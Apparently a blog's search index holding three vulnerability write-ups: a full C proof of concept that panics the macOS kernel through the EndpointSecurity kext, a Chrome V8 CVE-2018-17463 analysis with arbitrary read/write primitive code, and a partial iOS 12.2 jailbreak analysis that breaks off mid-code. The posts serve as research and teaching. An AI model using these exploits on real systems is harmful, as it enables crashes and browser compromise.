-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathsearch.xml
More file actions
271 lines (237 loc) · 79.5 KB
/
search.xml
File metadata and controls
271 lines (237 loc) · 79.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[local DOS on latest macOS]]></title>
<url>/2020/02/20/local-DOS-on-latest-macOS/</url>
<content type="html"><![CDATA[<p>a simple dos in the newly added kext</p>
<a id="more"></a>
<h1 id="poc"><a class="markdownIt-Anchor" href="#poc"></a> Poc</h1>
<p>Let’s just go straight to the poc without too much bullshit:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><assert.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><mach/mach.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><mach/mach_vm.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><IOKit/IOKitLib.h></span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc,<span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line"> <span class="keyword">io_service_t</span> service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(<span class="string">"EndpointSecurityDriver"</span>));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (service == IO_OBJECT_NULL){</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"unable to find service\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"got service: %x\n"</span>, service);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">kern_return_t</span> err;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">// open a userclient:</span></span><br><span class="line"> <span class="keyword">io_connect_t</span> conn = MACH_PORT_NULL;</span><br><span class="line"> err = IOServiceOpen(service, mach_task_self(), <span class="number">8</span>, &conn);</span><br><span class="line"> <span class="keyword">if</span> (err == KERN_SUCCESS){</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"get user client connection\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//input data</span></span><br><span class="line"> <span class="keyword">uint64_t</span> input[<span class="number">10</span>];</span><br><span class="line"> <span class="keyword">uint32_t</span> value=<span class="number">0x0</span>;</span><br><span class="line"> <span class="built_in">memset</span>(input,<span class="number">0</span>,<span class="keyword">sizeof</span>(input));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"got userclient connection: %x\n"</span>, conn);</span><br><span class="line"> err = IOConnectCallMethod(conn,<span class="number">0x0</span>,input,value,<span class="literal">NULL</span>,<span class="number">0</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>);</span><br><span class="line"> <span class="keyword">if</span>(err != KERN_SUCCESS) <span class="built_in">printf</span>(<span class="string">"no\n"</span>);</span><br><span class="line"> <span class="keyword">else</span> <span class="built_in">printf</span>(<span class="string">"success\n"</span>);</span><br><span class="line"> IOServiceClose(conn);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>the bug can be triggered on the latest macOS Catalina(10.15.2),haven’t been tested on 10.15.3 yet.the Apple product security team does not regard it as a security problem,so i just release it.This vulnerability is just because the <code>EndpointSecurity.kext</code> rewrite the <code>newUserClient</code> function with the logic problem,even if the type is wrong but not number 0 or 1,it will return <code>KERN_SUCCESS</code>.But the client doesn’t be created actually,finally to a null poiner dereference problem.we can find in the kernel panic log.</p>
<p>i take out the important part of the rewrited function:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">EndpointSecurityDriver::newUserClient</span><span class="params">(__int64 a1, IOUserClient *a2, <span class="keyword">const</span> <span class="keyword">char</span> *a3, <span class="keyword">int</span> a4, __int64 a5, EndpointSecurityExternalClient **a6)</span></span></span><br><span class="line"><span class="function">v8 </span>= a4;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> ( v8 == <span class="number">1</span> ){</span><br><span class="line"> ...</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> ( v8 )</span><br><span class="line"> <span class="keyword">goto</span> LABEL_20;</span><br><span class="line">...</span><br><span class="line">v10 = <span class="number">0</span>;</span><br><span class="line">LABEL_20:</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)gLogLevel_ >= <span class="number">4</span> )</span><br><span class="line"> _os_log_internal(</span><br><span class="line"> &dword_0,</span><br><span class="line"> &_os_log_default,</span><br><span class="line"> <span class="number">2L</span>L,</span><br><span class="line"> _ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,</span><br><span class="line"> <span class="string">"virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)"</span>);</span><br><span class="line"> <span class="keyword">return</span> v10;</span><br></pre></td></tr></table></figure>
<p>i believe any one who learn a few about the <code>IOKit</code> mechanism can understand what i said above.That’all,thanks for reading~Btw,i also post the blog on my Twitter.</p>
<hr>
<p>Chinese Version</p>
<h1 id="前言"><a class="markdownIt-Anchor" href="#前言"></a> 前言</h1>
<p>这个漏洞的具体表现形式为空指针解引用造成的<code>kernel panic</code>,由于苹果的安全团队评估之后认为不能造成具体的安全隐患,所以在这里放出来漏洞描述和poc,希望安全界的同行们能够互相学习交流。</p>
<h1 id="背景知识"><a class="markdownIt-Anchor" href="#背景知识"></a> 背景知识</h1>
<ol>
<li>了解苹果的<code>IOKit</code>机制,可以参考<code>OS X和iOS内核编程</code></li>
<li>用户态和内核扩展的交互</li>
</ol>
<h1 id="poc-2"><a class="markdownIt-Anchor" href="#poc-2"></a> Poc</h1>
<p>下面的代码在<code>macOS 10.15 beta</code>到<code>macOS 10.15.2</code>都是可以触发的,最新版本上还没有测试过:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><assert.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><mach/mach.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><mach/mach_vm.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><IOKit/IOKitLib.h></span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc,<span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line"> <span class="keyword">io_service_t</span> service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(<span class="string">"EndpointSecurityDriver"</span>));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (service == IO_OBJECT_NULL){</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"unable to find service\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"got service: %x\n"</span>, service);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">kern_return_t</span> err;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">// open a userclient:</span></span><br><span class="line"> <span class="keyword">io_connect_t</span> conn = MACH_PORT_NULL;</span><br><span class="line"> err = IOServiceOpen(service, mach_task_self(), <span class="number">8</span>, &conn);</span><br><span class="line"> <span class="keyword">if</span> (err == KERN_SUCCESS){</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"get user client connection\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//input data</span></span><br><span class="line"> <span class="keyword">uint64_t</span> input[<span class="number">10</span>];</span><br><span class="line"> <span class="keyword">uint32_t</span> value=<span class="number">0x0</span>;</span><br><span class="line"> <span class="built_in">memset</span>(input,<span class="number">0</span>,<span class="keyword">sizeof</span>(input));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"got userclient connection: %x\n"</span>, conn);</span><br><span class="line"> err = IOConnectCallMethod(conn,<span class="number">0x0</span>,input,value,<span class="literal">NULL</span>,<span class="number">0</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>);</span><br><span class="line"> <span class="keyword">if</span>(err != KERN_SUCCESS) <span class="built_in">printf</span>(<span class="string">"no\n"</span>);</span><br><span class="line"> <span class="keyword">else</span> <span class="built_in">printf</span>(<span class="string">"success\n"</span>);</span><br><span class="line"> IOServiceClose(conn);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>编译指令:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cc dos.c -framework IOKit -o dos</span><br></pre></td></tr></table></figure>
<p>接下来运行一下就可以直观的看到效果了,下面就来分析一下问题所在</p>
<h1 id="问题发生点"><a class="markdownIt-Anchor" href="#问题发生点"></a> 问题发生点</h1>
<p>通过对内核扩展的代码审计我们可以很容易的发现这其实是一个逻辑问题,<code>EndPointSecurity.kext</code>主动的重写了<code>newUserClient</code>这个方法,但如果<code>type</code>参数不是0或1的话依然会返回<code>KERN_SUCCESS</code>,<code>KERN_SUCCESS</code>就会让内核错误的认为函数调用成功,从而执行接下来的步骤,但事实上对应的<code>client</code>并没有得到成功的创建,所以在之后用到<code>client</code>事实上在内存中是并不存在的,最终就会表现为空指针报错,我将重写过的函数关键部分摘出来如下:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">EndpointSecurityDriver::newUserClient</span><span class="params">(__int64 a1, IOUserClient *a2, <span class="keyword">const</span> <span class="keyword">char</span> *a3, <span class="keyword">int</span> a4, __int64 a5, EndpointSecurityExternalClient **a6)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">v8 = a4;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> ( v8 == <span class="number">1</span> ){</span><br><span class="line"> ...</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> ( v8 )</span><br><span class="line"> <span class="keyword">goto</span> LABEL_20;</span><br><span class="line">...</span><br><span class="line">v10 = <span class="number">0</span>;</span><br><span class="line">LABEL_20:</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)gLogLevel_ >= <span class="number">4</span> )</span><br><span class="line"> _os_log_internal(</span><br><span class="line"> &dword_0,</span><br><span class="line"> &_os_log_default,</span><br><span class="line"> <span class="number">2L</span>L,</span><br><span class="line"> _ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,</span><br><span class="line"> <span class="string">"virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)"</span>);</span><br><span class="line"> <span class="keyword">return</span> v10;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>也就是说我们在用户态的调用<code>IOServiceOpen</code>的时候只要传递的<code>type</code>参数不是0或1就会触发<code>panic</code>,从这个角度我们也可以发现苹果的一些代码质量并不是很高,从这些角度出发,我们可能会发现一些意想不到的问题,针对薄弱点进行攻击相对来说是一种省时省力的方式。</p>
<h1 id><a class="markdownIt-Anchor" href="#"></a> </h1>
]]></content>
<tags>
<tag> 漏洞 </tag>
</tags>
</entry>
<entry>
<title><![CDATA[Chrome Js engine attack analysis]]></title>
<url>/2019/08/08/Chrome%E5%BC%95%E6%93%8E%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/</url>
<content type="html"><![CDATA[<p>learning for js engine vulnerabilities</p>
<a id="more"></a>
<h1 id="chrome引擎漏洞分析及利用"><a class="markdownIt-Anchor" href="#chrome引擎漏洞分析及利用"></a> Chrome引擎漏洞分析及利用</h1>
<p>漏洞编号:<code>CVE-2018-17463</code>,在chrome 70版本中被patch,测试版本为69.0.3497.42 beta版,涉及的一些前置知识可以参考V8的内存布局和官方文档</p>
<h2 id="漏洞介绍"><a class="markdownIt-Anchor" href="#漏洞介绍"></a> 漏洞介绍</h2>
<p>V8的<code>IR</code>层操作有很多的<code>flag</code>,其中有一个<code>flag</code>叫做<code>kNowrite</code>,从简单的语义分析来看表示的就是没有进行写操作,事实上代表的意思就是拥有这个<code>flag</code>的操作不会修改原有的属性,那么也就是说<code>js engine</code>推测含有这个<code>flag</code>的操作是可以进行一些深度优化的,比如说去掉它的类型检查:</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CACHED_OP_LIST(V) </span></span><br><span class="line"> ... </span><br><span class="line"> V(CreateObject, Operator::kNoWrite, <span class="number">1</span>, <span class="number">1</span>) </span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>
<p>但是事实并非如此,通过跟踪这个的底层调用我们可以发现一些问题,在<code>JSCreateObject</code>函数中,通过跟踪调用可以发现最后调到了一个名为 <code>JSObject::OptimizeAsPrototype</code>的函数上面,而这个函数可能会修改对象原型,了解JS的可以知道所谓的原型代表的其实是一种类似类的继承关系,也就是说这个操作会修改对象的类型,也就是<code>Map</code>属性,通过<code>runtime func</code>也可以确定(<code>%DebugPrint</code>)</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">o.inline;</span><br><span class="line"><span class="built_in">Object</span>.create(o);</span><br><span class="line"><span class="comment">//经过create之后o的map会变,并且从FastProperties变成DictionaryProperties</span></span><br></pre></td></tr></table></figure>
<p>这样一来对象<code>o</code>的内存属性布局也会随之改变,如果经过了优化之后的代码去掉了<code>checkMap</code>节点的话,那么之后对于对象属性的访问就会按照之前的内存布局进行访问,举一个很简单的例子,可能在<code>FastProperties</code>的时候想要访问属性编译成机器码之后如下所示:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">;js code : return o.b</span><br><span class="line">r1 = Load [o + 0x8]</span><br><span class="line">r2 = Load [r1 + 0x10]</span><br><span class="line">Return r2</span><br></pre></td></tr></table></figure>
<p>但是此时作为<code>DictionaryProperties</code>的内存布局在对应偏移的位置就可能不是原来的数据了,而是其他未知的数据,在分析<code>create</code>操作前后的内存布局我们可以发现一个奇怪的事情:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">o.p0 = <span class="number">0</span>; o.p1 = <span class="number">1</span>; o.p2 = <span class="number">2</span>; o.p3 = <span class="number">3</span>; o.p4 = <span class="number">4</span>;</span><br><span class="line">o.p5 = <span class="number">5</span>; o.p6 = <span class="number">6</span>; o.p7 = <span class="number">7</span>; o.p8 = <span class="number">8</span>; o.p9 = <span class="number">9</span>;</span><br><span class="line"> <span class="number">0x0000130c92483e89</span> <span class="number">0x0000130c92483bb1</span></span><br><span class="line"> <span class="number">0x0000000c00000000</span> <span class="number">0x0000006500000000</span></span><br><span class="line"> <span class="number">0x0000000000000000</span> <span class="number">0x0000000b00000000</span></span><br><span class="line"> <span class="number">0x0000000100000000</span> <span class="number">0x0000000000000000</span></span><br><span class="line"> <span class="number">0x0000000200000000</span> <span class="number">0x0000002000000000</span></span><br><span class="line"> <span class="number">0x0000000300000000</span> <span class="number">0x0000000c00000000</span></span><br><span class="line"> <span class="number">0x0000000400000000</span> <span class="number">0x0000000000000000</span></span><br><span class="line"> <span class="number">0x0000000500000000</span> <span class="number">0x0000130ce98a4341</span></span><br><span class="line"> <span class="number">0x0000000600000000</span> overlap <span class="number">0x0000000200000000</span></span><br><span class="line"> <span class="number">0x0000000700000000</span> <span class="number">0x000004c000000000</span></span><br><span class="line"> <span class="number">0x0000000800000000</span> <span class="number">0x0000130c924826f1</span></span><br><span class="line"> <span class="number">0x0000000900000000</span> <span class="number">0x0000130c924826f1</span></span><br></pre></td></tr></table></figure>
<p>那就是<code>o.p6</code>和<code>o.p2</code>这两个属性经过转换之后发生了重叠,这意味着我们在优化去掉了<code>checkMap</code>节点之后访问<code>o.p6</code>,实际上返回的是<code>o.p2</code>的值。</p>
<p>稍微对于<code>V8</code>的一些机制有了解的话就知道<code>DictionaryMode</code>是通过<code>hashfunc</code>来计算地址的,所以这个<code>overlap</code>是哈希之后的结果,而这个哈希计算的方式是进程独立的,也就是我们每个进程都有着不同的哈希计算方式,这也就意味着我们如果找到了这个<code>overlap</code>,之后就可以通过修改<code>o.p2</code>来做到很多事情,比如说在<code>o.p2</code>放置一个对象,那么返回的就是这个对象的地址了。</p>
<h2 id="任意地址读写"><a class="markdownIt-Anchor" href="#任意地址读写"></a> 任意地址读写</h2>
<p>这里的任意地址读写用的是两个<code>ArrayBuffer</code>,首先来看看普通对象和<code>ArrayBuffer</code>内存布局的对比:</p>
<p><img src="https://forum.90sec.com/uploads/default/optimized/2X/b/bb5d8aeae750fea1015f14f07402f6771197e42c_2_810x998.jpeg" alt></p>
<p>上面的是<code>ArrayBuffer</code>,下面是普通对象,可以看到<code>backing_store</code>的偏移应该是对应的是普通对象的第二个<code>inline</code>属性的偏移,所以如果我们在触发漏洞后,将对象的第二个对象内属性修改,就可以把这个<code>backing_store</code>的值给修改,如果我们修改为指向另一个<code>ArrayBuffer</code>,形成如下的结构:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+-----------------+ +-----------------+</span><br><span class="line"> | ArrayBuffer 1 | +---->| ArrayBuffer 2 |</span><br><span class="line"> | | | | |</span><br><span class="line"> | map | | | map |</span><br><span class="line"> | properties | | | properties |</span><br><span class="line"> | elements | | | elements |</span><br><span class="line"> | byteLength | | | byteLength |</span><br><span class="line"> | backingStore --+-----+ | backingStore |</span><br><span class="line"> | flags | | flags |</span><br><span class="line"> +-----------------+ +-----------------+</span><br></pre></td></tr></table></figure>
<p>那么我们用第一个ArrayBuffer来new一个<code>BigUint64</code>的数组,这个数组的地址事实上是<code>ArrayBuffer</code>的数据,也就是<code>backing_store</code>指向的<code>ArrayBuffer2</code>,我们将数组的第五个元素,也就是<code>backing_store</code>进行任意的设置可以指向任意的地址,然后切换到<code>ArrayBuffer2</code>进行操作,再用<code>ArrayBuffer2</code>来new一个新的数组,这个时候我们对数组进行的任何操作都是我们对于那个地址的任何操作,也就是所谓的任意地址读写了,稍微封装一下如下所示:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//driver是ArrayBuffer2 </span></span><br><span class="line"><span class="keyword">let</span> memory = {</span><br><span class="line"> <span class="comment">//任意地址写就是setvalue</span></span><br><span class="line"> write(addr, bytes) {</span><br><span class="line"> driver[<span class="number">4</span>] = addr;</span><br><span class="line"> <span class="keyword">let</span> memview = <span class="keyword">new</span> <span class="built_in">Uint8Array</span>(memViewBuf);</span><br><span class="line"> memview.set(bytes);</span><br><span class="line"> },</span><br><span class="line"> <span class="comment">//任意地址读就是返回数组的值</span></span><br><span class="line"> read(addr, len) {</span><br><span class="line"> driver[<span class="number">4</span>] = addr;</span><br><span class="line"> <span class="keyword">let</span> memview = <span class="keyword">new</span> <span class="built_in">Uint8Array</span>(memViewBuf);</span><br><span class="line"> <span class="keyword">return</span> memview.subarray(<span class="number">0</span>, len);</span><br><span class="line"> },</span><br><span class="line"> read64(addr) {</span><br><span class="line"> driver[<span class="number">4</span>] = addr;</span><br><span class="line"> <span class="keyword">let</span> memview = <span class="keyword">new</span> BigUint64Array(memViewBuf);</span><br><span class="line"> <span class="keyword">return</span> memview[<span class="number">0</span>];</span><br><span class="line"> },</span><br><span class="line"> write64(addr, ptr) {</span><br><span class="line"> driver[<span class="number">4</span>] = addr;</span><br><span class="line"> <span class="keyword">let</span> memview = <span class="keyword">new</span> BigUint64Array(memViewBuf);</span><br><span class="line"> memview[<span class="number">0</span>] = ptr;</span><br><span class="line"> }</span><br><span class="line"> };</span><br></pre></td></tr></table></figure>
<p>这里只用一个<code>ArrayBuffer</code>行不行呢?其实也是可以的,只不过每一次修改都用通过优化并触发漏洞来<code>overlap</code>掉<code>backing_store</code>,而两个<code>ArrayBuffer</code>就只需要触发一次,可以节省很多开销并更加稳定</p>
<p>最后来看一下任意地址读的效果图,是在macOS上测试的:</p>
<p><img src="https://forum.90sec.com/uploads/default/original/2X/7/77316d81318897b11d427e46412c69d47b0a9f1a.jpeg" alt></p>
<p>之后的工作还有待完善,可以完全控制浏览器的控制流</p>
<h1 id="link"><a class="markdownIt-Anchor" href="#link"></a> Link</h1>
<p><a href="http://phrack.org/papers/jit_exploitation.html" target="_blank" rel="noopener">phrack</a></p>
<p><a href="https://github.com/saelo" target="_blank" rel="noopener">saleo</a></p>
<p><a href="https://peterpan0927.github.io/2019/07/08/JavaScript-in-V8/#more">js engine</a></p>
]]></content>
<tags>
<tag> 漏洞 </tag>
</tags>
</entry>
<entry>
<title><![CDATA[iOS12.2 jailbreak analysis]]></title>
<url>/2019/07/23/iOS12-2%E8%B6%8A%E7%8B%B1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<p>jailbreak analysis and rewrite on Mac</p>
<a id="more"></a>
<h1 id="0x0前言"><a class="markdownIt-Anchor" href="#0x0前言"></a> 0x0前言</h1>
<p>p0的nedwill在同事的帮助下:)完成了<a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1806" target="_blank" rel="noopener">iOS12.2越狱</a>,这是一个UAF的洞,是通过<code>tfp0</code>的方式来拿到内核代码执行的权限,了,一般的利用方式我们都还是比较熟悉了,而且UAF的利用方式我们通常都是通过<code>ROP</code>的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了bazad的帮助,通过他那个软件工程式的<code>exploit</code>就凸显了斯坦福博士的风格。不过整体都是C++下的看的着实有点难受。</p>
<h1 id="0x1漏洞"><a class="markdownIt-Anchor" href="#0x1漏洞"></a> 0x1.漏洞</h1>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span></span><br><span class="line">in6_pcbdetach(struct inpcb *inp)</span><br><span class="line">{</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line">true<span class="keyword">if</span> (!(so->so_flags & SOF_PCBCLEARING)) {</span><br><span class="line">truetrue<span class="class"><span class="keyword">struct</span> <span class="title">ip_moptions</span> *<span class="title">imo</span>;</span></span><br><span class="line">truetrue<span class="class"><span class="keyword">struct</span> <span class="title">ip6_moptions</span> *<span class="title">im6o</span>;</span></span><br><span class="line">truetrueinp->inp_vflag = <span class="number">0</span>;</span><br><span class="line">truetrue<span class="keyword">if</span> (inp->in6p_options != <span class="literal">NULL</span>) {</span><br><span class="line">truetruetruem_freem(inp->in6p_options);</span><br><span class="line">truetruetrueinp->in6p_options = <span class="literal">NULL</span>; <span class="comment">// <- good</span></span><br><span class="line">truetrue}</span><br><span class="line">truetrueip6_freepcbopts(inp->in6p_outputopts); <span class="comment">// <- bad</span></span><br><span class="line">truetrueROUTE_RELEASE(&inp->in6p_route);</span><br><span class="line">truetrue<span class="comment">// free IPv4 related resources in case of mapped addr</span></span><br><span class="line">truetrue<span class="keyword">if</span> 